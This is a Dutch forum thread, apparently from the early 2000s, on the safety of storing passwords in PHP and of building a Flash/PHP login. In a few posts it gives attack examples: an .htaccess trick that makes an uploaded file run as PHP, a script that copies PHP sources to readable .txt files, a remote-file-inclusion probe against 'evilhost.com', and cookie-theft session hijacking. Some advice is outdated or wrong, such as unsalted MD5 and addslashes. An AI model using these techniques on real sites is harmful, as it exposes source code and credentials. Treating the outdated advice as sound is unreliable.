Veiligheid van php

[Roenes]

Hey all,

Ik als programmeur ken een beetje php. Nou vroeg ik me het volgende af: iedereen zegt altijd dat de broncode van php niet achterhaald kan worden omdat dit serverside uitgevoerd wordt. Hoe veilig is het dan om daar je (veelgebruikte) wachtwoorden in te zetten? Ik denk dan aan wachtwoorden voor de connectie met je database. Is het het beste om daarvoor een ander wachtwoord te nemen als normaal of kun je dit hier veilig inzetten?

En dan nog een klein voorbeeldje. Stel je hebt een simpel inlogsysteem zonder database en al die fancy dingen ;) Dus je hebt een swf (http://www.roenes.nl/Login/login.html) waar je gebruikersnaam en wachtwoord in moet geven. Als je op de button drukt, dan worden deze gegevens naar een php bestand verstuurd. Stel je php ziet er dan zo uit:

<?

$user = $_POST['user'];
$pass = $_POST['pass'];

if($user == "foo" && $pass == "bar")
{
echo "&error=0&";
}
else
{
echo "&error=1&";
}

?>
Nogmaals, niets fancy's erin. Stel je bent dus een echte php beginner die niet met databases en versleuteling en dergelijke kan werken. Hoe veilig is bovenstaand systeem dan? Als je dit op internet zet en echt zou gebruiken, hoe groot is de kans dat mensen achter je paswoord kunnen komen?

Zelf kan ik wel het een en ander met php en databases, dat is het probleem niet. Maar ik ben toch eens benieuwd hoe veilig het nou is om je wachtwoord in php te zetten. Want ik heb natuurlijk geen zin dat mijn wachtwoord strax bekend is ;) Daar komt bij dat ik hierover wel eens vragen krijg, maar eerlijk gezegd niet helemaal zeker weet wat het juiste antwoord nou is ;)

Dus wie kan hier iets over vertellen? :)

[Laiverd]

[OT] Ik sluit me aan; ben ook wel nieuwsgierig.

Even out of the blue: volgens mij zit het grootste risico in het transport van data vanuit Flash over HTTP. Dat is in principe niet veilig. Geen idee hoeveel veiliger transport over HTTPS is, maar lijkt me in elk geval een betere optie. Volgens mij maakt het ook niet zoveel uit over de gegevens wel of niet in een database staan. Je zou bv. ook een php met je psw/logins kunnen includen in bovenstaande file. Transport terug naar Flash is geen probleem lijkt me, omdat je alleen een 0 of een 1 terugstuurt. Door Flash aangeroepen wordt het php bestand natuurlijk gecachet, maar als het goed is wordt (als dat bestand wordt geopend via een lokale webserver) ook alleen maar een 0 of 1 getoond (of niks) en is er in de source niks tezien.

Zo maar wat losse gedachten om anderen te prikkelen die hierover meer wijsheid hebben.

John

[[Moreasy]]

$_POST blijft altijd een zwakke schakel in php.

Mensen die echt (kwaad) willen kunnen hier een return waarde aan koppelen.
Hier zijn duidelijke en meer topics over te vinden op phpfreakz.nl
Een goede tutorial over php en beveiliging (http://www.phpfreakz.nl/artikelen.php?aid=106)


|_|0|_|
|_|_|0|
|0|0|0|

[De Kale]

@laiver: klopt, je stuurt data (uname en pw) over een onbeveiligde verbinding, dat is je eerste zwakke schakel.
@moreasy: kun je dat over die return waarde even uitleggen....

POST is geen zwakke schakel, het zijn gewoon input variables...
OF ze komen overeen met de gevraagde waarden of niet..... je kunt posten wat je wilt, maar dan kom je nog niet achter de waardes van user en name....

uiteraard moet je je userinput altijd checken, zet bij checks op uname en password altijd een sleep(1) in je script, om brute force hacking tegen te gaan....

verder is het net zo veilig om het (goed) in je php scrip t te zetten als in je database...
als de server gehacked wordt hebben ze toch wel je shit...

denk er wel aan dat als de php server down is / webserver verkeerd geconfigureerd is, dat de webserver dan je php files als tekstbestand aanbied...

[TheDutch]

Moreasy bedoelde volgensmij $_GET ;).

Verder wil ik graag toevoegen dat je het beste altijd een gebruikersnaam en wachtwoord gehashed(MD5 of SHA) moet opslaan. Als dan een persoon toegang weet te krijgen tot de source van de PHP file of tot de database, dan zijn die gegevens nutteloos aangezien strings die gehashed zijn niet terug te draaien zijn en dus tot de veiligste beveiliging behoort wanneer het gaat om het beveiligen van een gebruikersaccount. Het maakt dan in beide gevallen weinig uit of het in PHP of in de database staat.

Als laatste wil ik graag melden dat de veiligheid van een site/script meer te maken heeft met de kennis van de programmeur dan met de taal waarin het geschreven wordt :).

[Roenes]

Oke, bovenstaande posts maakt wel het een en ander duidelijk. En het is op zich veilig om dat soort dingen gewoon in je php file te zetten.

Maar dan nog een ander punt. Hoe makkelijk/moeilijk is het om de source van een php file te achterhalen? Want daar ben ik eigenlijk wel benieuwd naar. Want ondanks alle beveiligingen en zo, is dat denk ik ook wel een belangrijk punt :)

Als laatste wil ik graag melden dat de veiligheid van een site/script meer te maken heeft met de kennis van de programmeur dan met de taal waarin het geschreven wordt :).Dit laatste ben ik niet helemaal met je eens. Als ik bij mezelf ga kijken weet ik dat mijn AS kennis vele malen groter is als mijn php kennis. Toch zou een inlogsysteem in php gemaakt door mij al veiliger zijn als via AS omdat AS veel makkelijker te jatten is. Jaag een swf door een decompiler en je hebt al een groot deel van de source. Dit gaat bij php niet zo makkelijk. Zo zijn er natuurlijk meer voorbeelden te noemen :P

Dus deels heb je zeker gelijk en is de kennis van de programmeur wel bepalend maar van de andere kant is de taal ook wel belangrijk :)

[[Moreasy]]

$_POST = $_GET :)

zal later even uitlegen hoe en wat return waarde.. Ik ben nu even druk..

[TheDutch]

Maar dan nog een ander punt. Hoe makkelijk/moeilijk is het om de source van een php file te achterhalen? Want daar ben ik eigenlijk wel benieuwd naar. Want ondanks alle beveiligingen en zo, is dat denk ik ook wel een belangrijk punt :)

Het "achterhalen" van PHP source is over het algemeen makkelijker dan toegang krijgen tot een database. Wanneer je PHP service niet goed werkt kan je PHP code open en bloot als plain tekst worden gedisplayed. Ook wanneer je FTP server niet veilig is kunnen ze het via die weg proberen. Echter is het ook weer zo dat wanneer de PHP source bekend is, meestal het wachtwoord van de database dat ook is aangezien die plain in de PHP source staat wanneer er niet gebruik gemaakt wordt van een DSN. Ik zou in iedergeval eerder voor een database kiezen om mijn accounts op te slaan dan PHP source ook al hash ik ze in beide.

Dit laatste ben ik niet helemaal met je eens. Als ik bij mezelf ga kijken weet ik dat mijn AS kennis vele malen groter is als mijn php kennis. Toch zou een inlogsysteem in php gemaakt door mij al veiliger zijn als via AS omdat AS veel makkelijker te jatten is. Jaag een swf door een decompiler en je hebt al een groot deel van de source. Dit gaat bij php niet zo makkelijk. Zo zijn er natuurlijk meer voorbeelden te noemen :P

Dus deels heb je zeker gelijk en is de kennis van de programmeur wel bepalend maar van de andere kant is de taal ook wel belangrijk :)
Je moet ook geen inlogsysteem met een taal maken die daar niet geschikt voor is. Wanneer je genoeg kennis hebt van Flash weet je dat je dit nooit veilig in Flash kunt maken, dus wanneer een programmeur dat wel doet ligt dat aan zijn slechte kennis van Flash.

Echter heb ik het hier over server-side talen zoals PHP, ASP(.net), Coldfusion, en JSP, want daar gaat dit toch over? 9 van de 10 gevallen wanneer een site gehacked wordt is dat omdat de site niet goed beveiligd was door de programmeur. Helaas zijn er veel onervaren programmeurs in de wereld. Dat iemand PHP kan programmeren verteld werkelijk nog niets over zijn inzicht en ervaring wanneer het om veiligheid gaat. Een programmeur zijn is veel meer dan alleen de functies en de syntax van een taal kennen :).

[josko]

laat ik het zo zeggen. voor een normaal persoon is het onmogelijk om achter je src te komen. maar je kan op honderen een manieren erachter komen. stel dat je ene invul box heb, en je checkt de input niet. er zijn commando's om variablen te krijgen. dan kan je dus de variables van je wacht woord en user van db krijgen. php zelf is redelijk veilig. alleen houd hiermee rekening!!! er hoeft maar een gaatje in je verdediging te zitten [exploit] en je bent zo gehacke d. niks is veilig voor een echte hacker. onthou dat maar, en probeer veilig te proggen. ik verzijs je ook naar phpfreakz.nl, daar staat nog een artikel over veilig proiggen

[Laiverd]

Okay; maar stel je nou voor, ik wil een inlog systeem maken in Flash, en ik kan gebruik maken van een database en php ... wat is dan de beste aanpak? De Flash movie staaat in een http domein; het transport van de inloggegevens over https. Waar loop ik dan tegenaan? Hoe kan ik het zo maken dat ik het minste risico loop. Gewoon even globaal.

John

[josko]

het minste risico. oke, ik ben er ook gen pro in, maar in ieder geval dit.
als je een input veld heb, check de invoer. heb je en upload van bijv plaatjes, checkl de content en de extensie ervan. roep niet ergens anders je informatie aan... zorg ervoor dat je messages in je db weergegeven worden als plaintext, dus als je zeg een tut post dat je niet kan posten in je tut:
<?php
info();
?>
of iets dergelijks. maah ik weet er ook echt nog niet het fijne van. ik zou je echt aanraden om het artikel op phpfreakz.nl te lezen, dan ben je echt een stap verder

#####################################
### had hier trouwens tijdje terug een topic over,###
### exploits ofzo ###
#####################################

[Welck]

Okay; maar stel je nou voor, ik wil een inlog systeem maken in Flash, en ik kan gebruik maken van een database en php ... wat is dan de beste aanpak? De Flash movie staaat in een http domein; het transport van de inloggegevens over https. Waar loop ik dan tegenaan? Hoe kan ik het zo maken dat ik het minste risico loop. Gewoon even globaal.

John

Hallo iedereen!

Dit wordt mijn eerste post hier op deze altijd behulpzame site! :#

Nou, en zeg het maar als ik poep praat, maar is het zo erg als je username en password worden zichtbaar worden verstuurd? Jij weet wat ze zijn, waar ze heengaan en wat de juiste inlog wel of niet is. Je moet natuurlijk geen passwords geen zetten in de flash file.

Wat aan de php kant betreft, ik zet nooooit password en logins in de php code die op de public folder staan van server. Ik zet deze altijd gewoon een paar foldertjes hoger of ergens anders; je kan er toch in php-script via een mooi include phptje naar verwijzen toch? Verder mogen mensen heus wel in mijn php code kijken hoor, no prob.

My fifty cents 8D

[Laiverd]

maar is het zo erg als je username en password worden zichtbaar worden verstuurdIk neem toch aan dat je ook niet wilt dat de hele wereld je pincode weet ...

John

[Welck]

Ik neem toch aan dat je ook niet wilt dat de hele wereld je pincode weet ...

John

Niet echt lekker geformuleerd, nee :#

Ik bedoelde eigenlijk te zeggen dat het niet uitmaakt of je direct op php of via flash inlogt. Jij bent, als je php een goede verificatie doet, de enige die je login en password weet. Ik kan eigenlijk niet een manier bedenken dat iemand die stroom kan lezen als je je server-script goed beveiligd; anders zou iedereen een probleem hebben met zijn webmail. Of niet?

[Edwin]

Ik bedoelde eigenlijk te zeggen dat het niet uitmaakt of je direct op php of via flash inlogt. Jij bent, als je php een goede verificatie doet, de enige die je login en password weet. Ik kan eigenlijk niet een manier bedenken dat iemand die stroom kan lezen als je je server-script goed beveiligd; anders zou iedereen een probleem hebben met zijn webmail. Of niet?

Ik kan wel wat dingen verzinnen, maar niet uitvoeren, daarvoor is mijn kennis niet al te groot op beveiligingsgebied. Maar het is zoals eerder gezegd meer de schuld van de programmeur die zijn kennis niet perfect toepast. Zo heb ik al eens meegemaakt dat in cookies wachtwoorden werden opgeslagen.

Maar wat ook kan is om de pakketjes die tussen de client en server worden verstuurt op te vangen. Dit kan met een hub heel makkelijk, want een hub stuur de data naar alle pc's die erop hangen(om b.v. msn gesprekken op te vangen van je dochter oid).

Ik denk dat beveiliging een mengelmoes is van alle onderdelen, betrokkenen e.d. Een mooi gezegde dus ook: "Een ketting is net zo sterk als zijn zwakste schakel"

[josko]

mag ik vragen wat je denkt weat er gebeurt als je een forum maakt en iemand hackt de admin? je bent alles zo kwijt, geloof me...

ik zal trouwens ook wat info geven over cookies. gebruik ze nooit om wachtwoorden of ids te gebruiken. waarom? oke, een oude hotmail exploit. je kreeg in een cookie een speciale id toegwezen. maar als je dus bijv ene mail kreeg naar een site waar die id word gelezen, en gemaild naar een 'hacker'. diegene veranderd zijn cookie, gaat naar hotmail.com, word ingelezen als ingelogd, en zit op je account. ik weet niet of jullie hier blij mee zijn,maar het slachtoffer cker niet. het grote cookie nadeel. gebruik ze dus bij voorkeur voor dit soort dingen:
de ip opslaan [kan verwisselt worden, maar geen scahde], of kleine details.
gebruik ze niet voor w8woorden, usernames, altijd ongelogd, en dergelijke. of je moet dit zo doen. in een mysql tabel de ip+ een id schrijven, en inloggen als de id [cookie] en ip gelijk zijn
als die in de tabel...

maak gewoon gebruiuk vAN TABBELLEN

[brossiekoppie]

Veel mensen zijn hier duidelijk ongerust i v m de beveiliging van hun site! (zo hoort het ook :D )

Er is al veel gezegd geweest en daarom zal 'k even recapituleren:

1. beveilig je wachtwoorden met de functies md5() of sha1()
beiden zijn volgens sommigen al meerdere malen gekraakt maar nog nooit harde bewijzen dus is dit voorlopig de beste oplossing.

2. vertrouw nooit user input! de functie addslashes() kan in de meeste gevallen veel miserie vermijden.

3. zet nooit een bestand met username/paswoord in je www directory (soms ook public_html)

zet ze liever in je hoofdmap, dan kan je nog altijd via een include bvb. include('../../mijnpas.php'); aan je pagina komen. Als je server dan down is kan een hacker dit wel lezen maar hij kan nooit aan dat bestand tenzij hij de gehele server hackt (en dan nog die hash-protectie ;) ).

4.Denk eens na wat jij zoal zou kunnen doen moest je slechte bedoelingen hebben. De meeste fouten zijn typfoutjes of zaken die je over het hoofd zag. Daarenboven is je systeem maar zo goed als je zwakste schakel. Een iets niet controleren en je kan al problemen hebben.

5. Zowel sessie vars als cookies hebben hun beveiligingsproblemen maar dat komt nu eenmaal door hun opzet: dingen onthouden die een bepaald belang hebben (wat dan ook).

Verder maakt het eigenlijk niet zoveel uit welke serverside taal je gebruikt zolang je maar heel goed weet waar je mee bezig bent. Vaak zie ik hier op het forum vragen opduiken (bv. mailforms enz.) waar zeer gevaarlijke beveiligingslekken inzitten. Dan zijn ze verbaasd dat als ze 's avonds hun mails checken dat hun account is geblokkeerd omdat ze 1000000 mails ontvangen hebben...
Nog een laatste iets: veilig is je pagina nooit...

[De Kale]

$_POST is dus NIET gelijk aan $_GET en is allebei even veilig.
onveilig wordt het pas als je je userinput niet checkt.

php code injectie is alleen van belang als je commando's als eval() of exec() in je code gebruikt, en dan alleen nog als je je userinput niet checkt.

addslashes prima maar bekijk eerst of je magic quotes aanstaan, anders doe je je werk dubbel en krijg je een vervuilde database.

includes uit een directory die niet in je web dirs staan werken niet relatief, gebruik het absolute server pad...

sessies en cookies (sessies werken overigens meestal ook met cookies) zijn idd snel over het hoofd geziene security holes, maar kun je ook dichttimmeren.

ik maak meestal gebruik van een user_id en een hash van een userid met een string die alleen maar op de server bekend is. de hacker weet die ook niet.

wat betreft het 'php server down' probleem: lig er niet wakker van, dat is beyond your control.
zorg er gewoon voor dat er geen belangrijke shit in je files staan.

en dan is er nog het principe: je krijgt de veiligheid waar je voor betaalt.
ik adviseer mijn klanten altijd over hun applicaties, en de veiligheidsaspecten waar ze rekening mee moeten houden.
Standaar check ik _altijd_ de userinput, en prog ik tegen sql injectie, maar meer veiligheid is een afweging tussen de schade enerzijds en de kosten anderzijds.

[ThaLyric]

het klopt

$_POST is net zo veilig/lek als $_GET. Alleen met $_GET zie je nog wel de naam en waarde in de URL en bij $_POST niet.

Uiteindelijk moet de programmeur beide gevallen kunnen opvangen.

Wat betreft inlog systeem met flash. Dit is in feite ook een zwakke schakel. Stel je hebt een inlog-scherm in Flash. Je drukt op log-in en je roept dus je php script aan (vb die helemaal boven in staat). Wat heeft het script nodig? Een username + password. En waar staat die hard in? In je swf'je. Nu zijn er SWF decompilers. De hacker hoeft dus alleen maar de juiste SWF te vinden, decompilen en de AS gedeelte op te zoeken waar de script aan geroepen wordt en tadaaa hij heeft een username en password.

[Laiverd]

Het lijkt me niet dat wachtwoord en username in de swf staan; als dat wel zo is, dan hoef je helemaal geen PHP erbij te halen om de boel te controleren, toch? Het idee is dat username en wachtwoord in worden getypt, dat die gegevens naar een php bestand gaan , dat ze tegen de gegevens in een db houdt. Het risico zit 'm (wederom in het transport). Nou zijn er wel MD5 encrypties geschreven voor Flash, maar gebruik daarvan betekent dat wachtwoorden etc. met dezelfde encryptie moeten zijn opgeslagen in de database, en dat zou nog best eens lastig kunnen zijn indiennde registratie al in een grijzer verleden via PHP heeft plaatsgevonden (met een wellicht net iets andere encryptie). HTTPS: lijkt me daarom de oplossing, alleen vraag ik me af hoe dat gaat werken in een pagina die via het HTTP protocol wordt binnengehaald.

John

John

[Roenes]

Heb ik eens een keer een topic geopend, zie ik em een tijdje over het hoofd ;)

Maar ik zie dat mijn vraag een aardige discussie heeft losgemaakt en ik moet zeggen: erg interessant om te lezen. Toch wil ik een aantal dingen kwijt:

- Iemand zei dat je paswoorden en zo voro database connectie kon includen. Leuk, maar als je php server down is, staat het include regeltje in beeld met de link naar de map waar je andere php script instaat. Even intypen en je hebt alsnog de gegevens. Dus dat includen is volgens mij geen optie :)

- zoals in mijn voorbeeld boeit het niet dat username en paswoord vanuit flash naar php worden verzonden. Die zijn bij je al bekend (oke, kan onderschept worden maar das een ander probleem). Maar de check in php op zich, die zou gewoon plaats kunnen vinden op de manier die ik in mijn eerste post voorspiegel? Want er werd gezegd dat dit even veilig is als je gegevens in de database proppen. Uiteraard zou ik de boel wel versleutelen als ik het systeem werkend op internet zou plaatsen

- Cookies en sessies, daar verdraaid mijn hele beeld na het lezen van deze topic. Ik dacht juist dat cookies geschikt waren om bij te houden of je altijd ingelogd wil zijn, wat je username en paswoord is. Zelfde voor sessies. Met beide heb ik nooit gewerkt, maar dit was volgens mij "the way to go". Als dat dus niet zo is, hoe moet je dan realiseren dat de site herkent of je altijd ingelogd bent? Door dat op te slaan in je database? Maar dat is toch ook weer te achterhalen? Is dat zoveel veiliger?

En dan nog 2 vragen die gericht zijn op antwoorden van De Kale:
- Jij zei in het begin dat bij checks op username en paswoord je altijd een sleep(1) erin moet zetten tegen brute force hacking. Even kort: wat is dat? en wat voor een effect heeft die sleep daarop? (ik weet wat sleep doet :))

- Jij werkt altijd met een string die alleen op de server bekend is bij usernames en passwords. Die string is dan voor iedere gebruiker anders of is dat een standaard string voor iedereen? En hoe gebruik je die? Want dat zie ik niet helemaal :)

Tot slot alvast iedereen bedankt die gereageerd heeft. Ik heb er wel het een en ander van geleerd :) Hopelijk loopt de discussie nog even door. Vind het wel interessant :)

[Edwin]

brute force: met geweld een wachtwoord kraken. Gewoon elke mogelijke combinatie proberen. Dit duurt meestal een tijdje. Normaal kan je een aantal connecties tegelijk hebben met een server, een pagina opvragen(om bv in te loggen) duurt maar een paar honderste van een seconden, dus er zijn heel veel pogingen mogelijk per seconden. Op het moment dat je een sleep(1) erin doet, moet elke request 1 seconde wachten, stel dat je server max 4 connecties voor een client aankan(ik noem maar wat) en dat je een 6 letter/cijfer wachtwoord heb dan ben je voor alle mogelijkheden een heel tijdje bezig

zonder sleep(1) is connectie tijd b.v. 0.01s dus aantal connecties per sec is 100x4
(36^6)/400=63 dagen
met sleep(1) is connectie tijd 1s dus aantal connecties per sec is 1x4
(36^6)/4=6298,56 dagen

[josko]

hha, dit si de enige interresante topic hie rin tijden...


wat ik gewoon als tip geef is zelf dingen uittesten.. bijv.. je gebruikt mcknols popupscript voor plaatjes... je creerd een script verbrogen in een image [open>kladblok, script>save as image]
en laat die als poput komen. in het script zeg je geef een alert met decookie...
test of je dit ook krijgt.
gebruin je index.php?page=pageg... test wat er gebeurt als je doet index.php?page=http:www.evilhost.com/ endergelijke dignen... kijk wa tje aan je bron kan ontdekken, kijk wat je ziet als server down is, en dat type dingen..


doe gewoon dit----> wat zou ik doen als ik een bezoekr was met kwaartaardige bedoelingen, en test dit uti... [met nadere woorden exploits]

[dioneo]

php is zo veilig als de scripts van de programmeur. Je kunt alles nog zo goed willen beveiligen, maar even een vaak gebruikte fout.
-je hebt een upload script voor plaatjes op je forum
-daarbij heb je niet alle filters ingesteld, op verboden bestanden. bijvoorbeeld php.
-iemand upload een php script die bijvoorbeeld print_r($_SESSION); doet. Daarmee worden alle sessievariabelen getoond. Sommige mensen stoppen hun database-wachtwoorden in de sessie. Maar goed, ook al zet je ze elders, hetzelfde trucje doe je met globale vars.
-okay, wijs geworden zorg je ervoor dat er geen php meer mag worden geupload. en zeker niet naar de dir waar alles gebeurt.
-diezelfde gek uploadt een 'hack.sml' met dezelfde inhoud als voorheen, en een .htaccess met de volgende inhoud:AddType application/x-httpd-php .sml (niet op windowsmachines), die zorgt ervoor dat een bestand met de extensie .sml als php wordt uitgevoerd. in hack.sml staat bijvoorbeeld

$getdir='../';
if (is_dir($getdir)){
$dirhandle=opendir($getdir);
while(($file = readdir($dirhandle)) !== false){
if (($file!=".")&&($file!="..")){
$currentfile=$getdir.$file;
if (is_file($currentfile)){
if((str_replace(".php","",strtolower($currentfile))!=strtolower($currentfil e)){
copy($currentfile,str_replace('.php','.txt',$curre ntfile));
echo str_replace('.php','.txt',$currentfile);
}
}
}
}
}

Deze functie leest de dir uit, en maakt van ieder php-bestand een kopietje met extensie .txt
hoeveel erger kan het worden dan dat? dit kun je nog terugvinden achteraf.
Maar nog erger wordt het als het bestandje in de root staat en alle dirs recursief langsloopt, alle broncode in emails stuurt naar de hacker@hotmail, en op het einde verwijdert het bestand zichzelf weer.

Dus hoe veilig een auto is, is echt afhankelijk van de bestuurder. [}:|]

[josko]

wat je net doe tis gewoon een voorbeeld van een exploit, zoals ik ook al een keer heb gegeven...


maar niks is te beveiligen. gebruik een server vna bijv lycos, en iemand anders heeft een gat, waarmee ie in het systeem komt[de hacker] dan heb je dus ook een probleem...
als de server apache uit heeft, geeft ie je script weer als htm, dat betekent dus alles in de bron is leesbaar, je hele script voor et grijpen...

en zo honder en een dingen...

NIKS IS VEILIG

[jazon]

2. vertrouw nooit user input! de functie addslashes() kan in de meeste gevallen veel miserie vermijden.
Daarnaast heb je natuurlijk ook nog:
htmlspecialchars() --> deze haalt de waarde tussen 2 haakjes '< >' vandaan (v.b.: <h1>)
strip_tags() --> deze haalt de haakjes zelf weg.
----------------------
je gebruikt ze zo:
$input = strip_tags($input);
----------------------
Groetjes!

[TrueChaoZ]

- Iemand zei dat je paswoorden en zo voro database connectie kon includen. Leuk, maar als je php server down is, staat het include regeltje in beeld met de link naar de map waar je andere php script instaat. Even intypen en je hebt alsnog de gegevens. Dus dat includen is volgens mij geen optie :)Dat is niet helemaal waar, want als het bestand dat je include niet in de root staat van je webserver (of hoger), dus op een lager niveau in je directory structuur dan dat, kan je die niet lezen als je server down is, daar kan je van buiten af dus ook nooit bij. Voorbeeld-directory: "serverdir/www-root/website1/config.php", bestand met je database dingen, deze doet een include ../../dbdata.php, deze staat dus hier: "serverdir/dbdata.php". Aangezien je alleen de www-root kan zien vanbuiten de server is hier dus niet makkelijk aan te komen.

- zoals in mijn voorbeeld boeit het niet dat username en paswoord vanuit flash naar php worden verzonden. Die zijn bij je al bekend (oke, kan onderschept worden maar das een ander probleem). Maar de check in php op zich, die zou gewoon plaats kunnen vinden op de manier die ik in mijn eerste post voorspiegel? Want er werd gezegd dat dit even veilig is als je gegevens in de database proppen. Uiteraard zou ik de boel wel versleutelen als ik het systeem werkend op internet zou plaatsenIk ben het er niet mee eens dat wachtwoorden in php checken even veilig is als in een database, een database kan je namelijk zo instellen dat hij alleen lokaal aan te roepen is, dus vanuit de fysieke server zelf (de computer). De php bestanden, zoals hier al eerder aangegeven, zijn vrij makkelijk uit te lezen, als je de database gegevens dan opslaat zoals hierboven aangegeven, kunnen ze achter deze gegevens niet komen, plus dat als je database alleen lokale connecties aanneemt kunnen ze zelfs niks met de gegevens als ze ze wel kunnen vinden, dacht ik zo.

- Cookies en sessies, daar verdraaid mijn hele beeld na het lezen van deze topic. Ik dacht juist dat cookies geschikt waren om bij te houden of je altijd ingelogd wil zijn, wat je username en paswoord is. Zelfde voor sessies. Met beide heb ik nooit gewerkt, maar dit was volgens mij "the way to go". Als dat dus niet zo is, hoe moet je dan realiseren dat de site herkent of je altijd ingelogd bent? Door dat op te slaan in je database? Maar dat is toch ook weer te achterhalen? Is dat zoveel veiliger?De combinatie van meerdere id's/hashes/etc tillen het gebruik van cookies/sessie naar een hoger security level, maar helemaal veilig is het nooit. Je zal dus in je sessie en cookie (is namelijk vaak in een combi in gebruik) een id opslaan van je user, deze id maak je een hash van evenals de username, deze sla je op in je database, deze check je samen in je script en dat moet het vrij veilig zijn, maar 100% is dat het nooit.

[De Kale]

ff wat opmerkingen/antwoorden op verschillende reacties/vragen

- https: je wilt dus dat de php file op een https domein staat.
- je kunt niets bekijken van een include als deze niet in de web directories van de server staan
- uploaden: je moet dan nog wel weten waar het php script staat (na het uploaden copieer je het bestand naar een andere directory.) verder moet je het script dan wel laten uitvoeren als php, want ik neem aan dat je het bij het copieren ook de juiste extensie geeft (na bijvoorbeeld het gebruik van de gdlibrary om images te manipuleren) EN je hebt toch wel gechecked op het mime type? ;) (dan kun je meteen zien of het wel een geldig plaatje is dat je upload)
- josko: probeer wel even iets duidelijk neer te zetten, uit je taalgebruik kan ik echt vrij weinig opmaken. verder is de exploit die je beschrijft alleen nuttig als je ook daadwerkelijk gevoelige info opslaat in de cookie. en een wachtwoord zet je nooit in een cookie (hoop ik)

[De Kale]

aanvuling op truechaoz:
ook al zijn je database username en password bekend, dat zou in principe niets uit moeten maken op een goed geconfigureerde server.

bij de host waar ik regelmatig mee werk, heb alleen ik toegang tot de database vanuit 2 ip adressen: op kantoor, thuis, en via localhost (wat meestal dus de webserver zelf is).
ik kan dus veilig hier mijn ww+uname neerzetten, maar niemand van jullie komt in die database ;)

[TrueChaoZ]

aanvuling op truechaoz:
ook al zijn je database username en password bekend, dat zou in principe niets uit moeten maken op een goed geconfigureerde server.

bij de host waar ik regelmatig mee werk, heb alleen ik toegang tot de database vanuit 2 ip adressen: op kantoor, thuis, en via localhost (wat meestal dus de webserver zelf is).
ik kan dus veilig hier mijn ww+uname neerzetten, maar niemand van jullie komt in die database ;)Precies, ik was niet helemaal duidelijk daarin, maar dat bedoelde ik ook ja :)
Maar vergeet niet dat je natuurlijk IP-vervalsing, geen idee hoe dat heet, kan uitvoeren als je toch aan het hacken bent, dus jou IP laten voordoen alsof je vanaf die andere IP connect, dus dan zou het in theorie wel mogelijk zijn, maar goed dan hebben wel het al over het hacken van een computer, dat is weer een ander niveau van beveiliging.

[meagain]

http://www.phpfreaks.com/tutorials/40/0.php
http://www.phpfreaks.com/tutorials/78/0.php

Bovenstaande links leggen je uit hoe je een veilig login-systeem maakt voor je site. Als je dan ook nog het artikel leest waar Moreasy al naar verwees op phpfreakz, weet je waar rekening mee te houden.

Mijn opinie: PHP is veilig, zorg maar dat de andere toegangswegen naar de server goed dicht zitten!

[josko]

opmaken. verder is de exploit die je beschrijft alleen nuttig als je ook daadwerkelijk gevoelige info opslaat in de cookie. en een wachtwoord zet je nooit in een cookie (hoop ik)
wat als jij een standaard id instelt voor een vergelijking?
bijv user kale, heeft bij altijd ingelogd de id 102689 in een cookie.vergelijking sessie/cookie,
jat zijn info, zet hem in je eigen cookie, en ingelogd als kale op die site..

dat is zo ongeveer wat ik bedoel

[De Kale]

als laatste:
alle exploits die tot nu toe beschreven zijn, zijn bij alle server side talen uit te voeren

[StevenW]

het enige dat veilig is, is toch dat je via php met een database communiceert en dus wachtwoord en gebruikersnaam, hostnaam en database naam in het php bestand hebt staan? Men kan niet kijken in de broncode. Tenzij ze in jouw web directory zitten, wat volgens mij alleen kan wanneer je je inlogd bij je web-host. Dus je moet geen gegevens zoals wachtwoorden in flash opslaan want dit is niet veilig. Maar in php maakt dit niet uit toch? Dus je zou voordat je met een database communiceert alle gegevens die je daar naar toe stuur moeten controleren. Dan is er toch niks aan de hand?

[Valcon]

Het "achterhalen" van PHP source is over het algemeen makkelijker dan toegang krijgen tot een database. Wanneer je PHP service niet goed werkt kan je PHP code open en bloot als plain tekst worden gedisplayed. Ook wanneer je FTP server niet veilig is kunnen ze het via die weg proberen. Echter is het ook weer zo dat wanneer de PHP source bekend is, meestal het wachtwoord van de database dat ook is aangezien die plain in de PHP source staat wanneer er niet gebruik gemaakt wordt van een DSN. Ik zou in iedergeval eerder voor een database kiezen om mijn accounts op te slaan dan PHP source ook al hash ik ze in beide.



Je wachtwoord van de database zou ik niet plain in een php script steken. Ik zou het in een xml file steken BUITEN de public folder van je account. Je kan dan ten eerste makkelijk van database type veranderen (gewoon databasemapper aanpassen en alle andere db gegevens die in de xml file steken en klaar is kees) en ten tweede niemand met een internet connectie kan er aan vermits deze file alleen lokaal kan benaderd worden. De database kan trouwens ook altijd alleen maar lokaal aangeroepen worden!

Als je iemand aan je ftp server kan denk ik dat je eerder bij je provider het probleem moet zoeken dan bij je zelf (en ineens ook een andere provider zoeken lijkt mij).



het minste risico. oke, ik ben er ook gen pro in, maar in ieder geval dit.
als je een input veld heb, check de invoer. heb je en upload van bijv plaatjes, checkl de content en de extensie ervan. roep niet ergens anders je informatie aan... zorg ervoor dat je messages in je db weergegeven worden als plaintext, dus als je zeg een tut post dat je niet kan posten in je tut:
<?php
info();
?>
of iets dergelijks. maah ik weet er ook echt nog niet het fijne van. ik zou je echt aanraden om het artikel op phpfreakz.nl te lezen, dan ben je echt een stap verder


Dat je altijd de invoer van alle velden moet nakijken is normaal. Beveilegingsmaatregelen buiten beschouwing gelaten kan zo een gebruiker nog altijd verkeerde info ingeven waardoor je achteraf met foutieve data in de database zit. Een zeer belangrijke check hierbij is het uitsluiten van " en ' want hierdoor kan een gebruiker een subquery maken om zo bepaalde gegevens uit een database te halen.

info(); geeft in principe alleen maar de configuratie van de server weer. Als je met deze info de server kan hacken kan je best weer op zoek naar een andere server want dan is hij gewoon niet goed geconfigureerd. Bij veel hosing bedrijfen is deze info trouwens zichtbaar voor mensen die geen account hebben. Op deze manier kunnen potentiële klanten zien of de server de nodige services draait om een bepaalde site te ondersteunen.




Heb ik eens een keer een topic geopend, zie ik em een tijdje over het hoofd ;)

Maar ik zie dat mijn vraag een aardige discussie heeft losgemaakt en ik moet zeggen: erg interessant om te lezen. Toch wil ik een aantal dingen kwijt:

- Iemand zei dat je paswoorden en zo voro database connectie kon includen. Leuk, maar als je php server down is, staat het include regeltje in beeld met de link naar de map waar je andere php script instaat. Even intypen en je hebt alsnog de gegevens. Dus dat includen is volgens mij geen optie :)


